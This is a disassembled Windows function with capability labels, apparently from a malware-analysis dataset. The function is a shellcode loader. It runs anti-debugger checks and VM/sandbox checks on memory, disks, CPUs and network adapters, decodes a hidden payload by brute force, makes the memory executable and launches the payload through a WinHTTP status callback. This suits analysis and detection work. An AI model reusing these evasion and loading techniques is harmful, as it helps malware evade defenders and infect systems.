Function at 0x140001915
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Execute shellcode via indirect call
Get system information on windows
Initialize winhttp library

Disassembly:
push rbp
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0xd0]
call fcn.14000ba50
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
setne al
test al, al
je 0x140001972
lea rax, [0x1400bc038]
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
mov dword [rbp - 0x44], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp - 0x44]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
test eax, eax
je 0x1400019a7
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x1400019a7
mov eax, 1
jmp 0x1400019ac
mov eax, 0
test al, al
je 0x1400019e5
lea rax, [0x1400bc058]
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
mov ecx, 0x1000
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
test eax, eax
setne al
test al, al
je 0x140001a31
lea rax, [0x1400bc080]
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
call fcn.14000169e
test al, al
je 0x140001a6f
lea rax, str.This_program_may_be_running_in_a_sandbox_
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
call fcn.140001758
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, eax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.140074460
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
cmp dword [rbp - 8], 0x3d08ff
jg 0x140001adb
lea rax, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
call fcn.1400017df
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.140074460
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
cmp dword [rbp - 0xc], 1
jg 0x140001b44
lea rax, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x60]
mov edx, eax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.140074490
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, dword [rbp - 0x60]
cmp eax, 4
ja 0x140001bb7
lea rax, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
call fcn.14000186f
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
mov edx, eax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.140074460
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
cmp dword [rbp - 0x10], 1
jg 0x140001c20
lea rax, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
mov rdx, rax
mov rax, qword [0x1400c1f70]
mov rcx, rax
call fcn.1400b3c90
mov rcx, rax
mov rax, qword [0x1400c1f80]
mov rdx, rax
call fcn.140074250
mov eax, 1
jmp 0x140001db8
mov dword [rbp - 4], 0x1f4
jmp 0x140001d9d
call fcn.14009bfc0
mov qword [rbp - 0x88], rax
mov dword [rbp - 0x34], 0x64
lea rdx, [rbp - 0x34]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009c040
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14007a000
call fcn.14009bfc0
mov qword [rbp - 0x90], rax
lea rdx, [rbp - 0x88]
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.14009c170
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009bde0
mov qword [rbp - 0x98], rax
mov ecx, 0
call fcn.1400015d0
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
lea rax, [rbp - 0x98]
mov rcx, rax
call fcn.140025370
mov ebx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, ebx
add eax, 0x6ef1e
mov r8d, eax
mov edx, 0x37d
lea rax, [0x1400b8020]
mov rcx, rax
call fcn.1400015f2
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax]
cmp al, 0xfc
jne 0x140001d9d
mov rax, qword [rbp - 0x18]
add rax, 1
movzx eax, byte [rax]
cmp al, 0x48
jne 0x140001d9d
lea rdx, [rbp - 0x9c]
mov rax, qword [rbp - 0x18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x37d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.User_Agent
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpen
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x20]
mov r9d, 0
mov r8d, 0xc00
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSetStatusCallback
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
jmp 0x140001db3
mov eax, dword [rbp - 4]
lea edx, [rax - 1]
mov dword [rbp - 4], edx
test eax, eax
setne al
test al, al
jne 0x140001c2c
mov eax, 0
add rsp, 0xd8
pop rbx
pop rbp
ret